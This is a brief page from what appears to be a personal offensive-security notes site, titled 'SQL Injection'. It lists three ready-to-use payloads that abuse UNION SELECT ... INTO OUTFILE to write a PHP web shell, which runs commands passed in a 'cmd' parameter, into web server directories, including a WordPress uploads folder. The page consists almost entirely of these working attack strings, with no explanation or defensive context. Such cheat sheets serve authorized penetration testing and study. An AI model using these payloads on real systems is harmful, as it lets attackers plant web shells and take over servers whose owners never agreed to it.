> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/readme/web/sql-injection.md).

# SQL Injection

Useful Payloads

```
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/srv/http/cmd.php'; -- 
' UNION SELECT "<?php exec($_GET['cmd']); ?>" INTO OUTFILE '/srv/http/cmd.php'; -- 
' UNION SELECT "<?php echo system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/wp-content/uploads/shell.php'; --
```
